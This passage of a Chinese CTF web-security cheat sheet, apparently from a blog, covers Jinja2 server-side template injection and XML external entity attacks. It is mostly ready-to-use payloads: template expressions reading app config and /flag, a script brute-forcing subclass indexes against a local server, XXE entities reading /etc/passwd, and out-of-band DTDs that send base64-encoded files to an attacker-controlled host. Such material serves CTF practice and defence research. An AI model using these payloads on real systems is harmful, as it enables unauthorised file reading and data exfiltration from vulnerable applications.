request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<h4><a name="t172"></a><a id="_2677"></a>特殊读文件</h4>
<pre data-index="150" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{url_for.__globals__['current_app'].config.FLAG}}
{<!-- -->{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{<!-- -->{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
#利用self姿势
{<!-- -->{self}} ⇒ <TemplateReference None>
{<!-- -->{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config
{<!-- -->{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li></ul></pre>
<h3><a name="t173"></a><a id="_2691"></a>脚本</h3>
<p><strong>找存在__builtins__的子类</strong></p>
<pre data-index="151" class="set-code-show prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;">search<span class="token operator">=</span><span class="token string">'__builtins__'</span>
num<span class="token operator">=</span><span class="token operator">-</span><span class="token number">1</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token string">''</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__bases__<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
num<span class="token operator">+=</span><span class="token number">1</span>
<span class="token keyword">try</span><span class="token punctuation">:</span>
<span class="token keyword">if</span> search <span class="token keyword">in</span> i<span class="token punctuation">.</span>__init__<span class="token punctuation">.</span>__globals__<span class="token punctuation">.</span>keys<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>i<span class="token punctuation">,</span>num<span class="token punctuation">)</span>
<span class="token keyword">except</span><span class="token punctuation">:</span>
<span class="token keyword">pass</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li></ul></pre>
<p><strong>定位下标</strong></p>
<pre data-index="152" class="set-code-hide prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token keyword">import</span> json
<span class="token comment"># 所有获得的子类</span>
classes<span class="token operator">=</span><span class="token triple-quoted-string string">"""
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...........
"""</span>
num<span class="token operator">=</span><span class="token number">0</span>
alllist<span class="token operator">=</span><span class="token punctuation">[</span><span class="token punctuation">]</span>
result<span class="token operator">=</span><span class="token string">""</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> classes<span class="token punctuation">:</span>
<span class="token keyword">if</span> i<span class="token operator">==</span><span class="token string">">"</span><span class="token punctuation">:</span>
result<span class="token operator">+=</span>i
alllist<span class="token punctuation">.</span>append<span class="token punctuation">(</span>result<span class="token punctuation">)</span>
result<span class="token operator">=</span><span class="token string">""</span>
<span class="token keyword">elif</span> i<span class="token operator">==</span><span class="token string">"\n"</span> <span class="token keyword">or</span> i<span class="token operator">==</span><span class="token string">","</span><span class="token punctuation">:</span>
<span class="token keyword">continue</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
result<span class="token operator">+=</span>i
<span class="token comment">#寻找要找的类,并返回其索引</span>
<span class="token keyword">for</span> k<span class="token punctuation">,</span>v <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>alllist<span class="token punctuation">)</span><span class="token punctuation">:</span>
<span class="token keyword">if</span> <span class="token string">"warnings.catch_warnings"</span> <span class="token keyword">in</span> v<span class="token punctuation">:</span>
<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token builtin">str</span><span class="token punctuation">(</span>k<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">"--->"</span><span class="token operator">+</span>v<span class="token punctuation">)</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li></ul></pre>
<p><strong>使用request定位下标</strong></p>
<pre data-index="153" class="set-code-show prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token keyword">import</span> requests
<span class="token keyword">import</span> time
<span class="token keyword">import</span> html
<span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">300</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.06</span><span class="token punctuation">)</span>
payload <span class="token operator">=</span> <span class="token string">"{<!-- -->{().__class__.__mro__[-1].__subclasses__()[%s]}}"</span> <span class="token operator">%</span> i
url <span class="token operator">=</span> <span class="token string">'http://127.0.0.1:5000?name='</span>
r <span class="token operator">=</span> requests<span class="token punctuation">.</span>post<span class="token punctuation">(</span>url<span class="token operator">+</span>payload<span class="token punctuation">)</span>
<span class="token keyword">if</span> <span class="token string">"catch_warnings"</span> <span class="token keyword">in</span> r<span class="token punctuation">.</span>text<span class="token punctuation">:</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>r<span class="token punctuation">.</span>text<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span>
<span class="token keyword">break</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li></ul></pre>
<h2><a name="t174"></a><a id="XXE_2750"></a>XXE</h2>
<h3><a name="t175"></a><a id="_2752"></a>基础</h3>
<h4><a name="t176"></a><a id="XML_2754"></a>XML</h4>
<pre data-index="154" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"> <span class="token comment"><!--XML声明--></span>
<span class="token prolog"><?xml version="1.0" encoding="UTF-8"?></span>
<span class="token comment"><!--DTD,这部分可选的--></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">foo</span> <span class="token punctuation">[</span><span class="token internal-subset">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ELEMENT</span> <span class="token attr-name">foo</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token comment"><!--文档元素--></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>foo</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&yj;">&yj;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>foo</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li></ul></pre>
<h4><a name="t177"></a><a id="DTD_2768"></a>DTD</h4>
<p>DTD即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。DTD一般认为有两种引用或声明方式:内部内嵌在XML文件中,外部的独立出为.dtd文件</p>
<p>DTD实体有以下几种声明方式</p>
<h5><a id="_2774"></a>内部实体</h5>
<pre data-index="155" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">note</span> <span class="token punctuation">[</span><span class="token internal-subset">
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">a</span> <span class="token attr-name">"admin"</span><span class="token punctuation">></span></span>
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>note</span><span class="token punctuation">></span></span>&a<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>note</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- admin --></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h5><a id="_2784"></a>参数实体</h5>
<pre data-index="156" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment"><!-- 参数实体用`% name`申明,引用时用`%name;`,只能在DTD中申明,DTD中引用。其余实体直接用`name`申明,引用时用`&name;`,只能在DTD中申明,可在xml文档中引用 --></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">note</span><span class="token punctuation">></span></span> [
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>!ENTITY</span> <span class="token attr-name">%</span> <span class="token attr-name">b</span> <span class="token attr-name">"<!ENTITY</span> <span class="token attr-name">b1</span> <span class="token attr-name">"yyds"</span><span class="token punctuation">></span></span>">
%b;
]>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>note</span><span class="token punctuation">></span></span>&b1<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>note</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- yyds --></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<h4><a name="t178"></a><a id="_2796"></a>外部实体</h4>
<pre data-index="157" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">note</span><span class="token punctuation">></span></span> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>note</span><span class="token punctuation">></span></span>&c<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>note</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== --></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<p>外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:<br> <a href="https://img2018.cnblogs.com/blog/1270588/202001/1270588-20200115235522292-2141935835.png" rel="nofollow"><img src="https://i-blog.csdnimg.cn/blog_migrate/dcfe5a80e5f5a279ac4e7876654badd9.png" alt="img"></a><br> 上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有<br> <a href="https://img2018.cnblogs.com/blog/1270588/202001/1270588-20200115235555856-2031563427.png" rel="nofollow"><img src="https://i-blog.csdnimg.cn/blog_migrate/8f53fae0f3421f8fb8d55a902932ac6b.png" alt="img"></a></p>
<h4><a name="t179"></a><a id="_2811"></a>外部参数实体</h4>
<pre data-index="158" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">note</span><span class="token punctuation">></span></span> [
<!ENTITY % d SYSTEM "http://47.47.47.47/xml.dtd">
或 <!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
%d;
]>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>note</span><span class="token punctuation">></span></span>&d1<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>note</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== --></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li></ul></pre>
<h3><a name="t180"></a><a id="XXE_2823"></a>XXE</h3>
<h4><a name="t181"></a><a id="_2825"></a>任意文件读取</h4>
<h5><a id="_2827"></a>有回显</h5>
<h6><a id="_2829"></a>恶意引入外部实体</h6>
<p>直接读靶机文件</p>
<pre data-index="159" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" encoding="UTF-8" ?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">foo</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY rabbit SYSTEM "file:///flag" >
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>user</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>username</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&rabbit;">&rabbit;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>username</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>password</span><span class="token punctuation">></span></span>123<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>password</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>user</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h6><a id="_2841"></a>恶意引入外部参数实体</h6>
<pre data-index="160" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0" ?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">test</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
%file;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>test</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&hhh;">&hhh;</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>test</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p>或</p>
<pre data-index="161" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><!ENTITY hhh SYSTEM 'file:///etc/passwd'>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="_2858"></a>无回显</h5>
<h6><a id="OOB_2860"></a>OOB</h6>
<p>先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。</p>
<pre data-index="162" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">updateProfile</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<p>evil.dtd的内容,内部的%号要进行实体编码成%。</p>
<pre data-index="163" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><!ENTITY % all
"<!ENTITY <span class="token entity" title="%">&#x25;</span> send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<p>访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。</p>
<h6><a id="_2884"></a>基于报错</h6>
<p>以下内容皆出自JrXnm师傅博客<br> <a href="https://blog.szfszf.top/tech/blind-xxe-%E8%AF%A6%E8%A7%A3-google-ctf-%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/" rel="nofollow">Blind XXE 详解 + Google CTF 一道题目分析</a></p>
<blockquote>
<p>基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。<br> 所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。</p>
</blockquote>
<h6><a id="_2892"></a>通过引入服务器文件</h6>
<pre data-index="164" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">message</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>message</span><span class="token punctuation">></span></span>1234<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>message</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<p>xml.dtd</p>
<pre data-index="165" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment"><!-- xml.dtd --></span>
<!ENTITY % start "<!ENTITY <span class="token entity" title="%">&#x25;</span> send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h6><a id="_2913"></a>通过引入本地文件</h6>
<p>如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。</p>
<pre data-index="166" class="set-code-show prettyprint"><code class="prism language-php-template has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?</span>xml version<span class="token operator">=</span><span class="token string double-quoted-string">"1.0"</span><span class="token operator">?</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">DOCTYPE</span> message <span class="token punctuation">[</span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">ENTITY</span> <span class="token operator">%</span> remote <span class="token constant">SYSTEM</span> <span class="token string double-quoted-string">"/usr/share/yelp/dtd/docbookx.dtd"</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">ENTITY</span> <span class="token operator">%</span> file <span class="token constant">SYSTEM</span> <span class="token string double-quoted-string">"php://filter/read=convert.base64-encode/resource=file:///flag"</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">ENTITY</span> <span class="token operator">%</span> ISOamso <span class="token string single-quoted-string">'
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'</span><span class="token operator">></span>
<span class="token operator">%</span>remote<span class="token punctuation">;</span>
<span class="token punctuation">]</span><span class="token operator">></span>
<span class="token operator"><</span>message<span class="token operator">></span><span class="token number">1234</span><span class="token operator"><</span><span class="token operator">/</span>message<span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li></ul></pre>
<p>我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send</p>
<h6><a id="_2934"></a>嵌套参数实体</h6>
<blockquote>
<p>我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的</p>
</blockquote>
<pre data-index="167" class="set-code-show prettyprint"><code class="prism language-xml has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token prolog"><?xml version="1.0"?></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">message</span> <span class="token punctuation">[</span><span class="token internal-subset">
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY <span class="token entity" title="%">&#x25;</span> send SYSTEM 'http://myip/?%file;'>">
%start;
%send;
</span><span class="token punctuation">]</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>message</span><span class="token punctuation">></span></span>10<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>message</span><span class="token punctuation">></span></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<h6><a id="XXE_2949"></a>基于报错的三层嵌套参数实体XXE</h6>
<pre data-index="168" class="set-code-show prettyprint"><code class="prism language-php-template has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?</span>xml version<span class="token operator">=</span><span class="token string double-quoted-string">"1.0"</span><span class="token operator">?</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">DOCTYPE</span> message <span class="token punctuation">[</span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">ELEMENT</span> message <span class="token constant">ANY</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">ENTITY</span> <span class="token operator">%</span> para1 <span class="token constant">SYSTEM</span> <span class="token string double-quoted-string">"file:///flag"</span><span class="token operator">></span>
<span class="token operator"><</span><span class="token operator">!</span><span class="token constant">ENTITY</span> <span class="token operator">%</span> para <span class="token string single-quoted-string">'
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
&#x25;para2;
'</span><span class="token operator">></span>
<span class="token operator">%</span>para<span class="token punctuation">;</span>
<span class="token punctuation">]</span><span class="token operator">></span>
<span class="token operator"><</span>message<span class="token operator">></span><span class="token number">10</span><span class="token operator"><</span><span class="token operator">/</span>message<span class="token operator">></span>
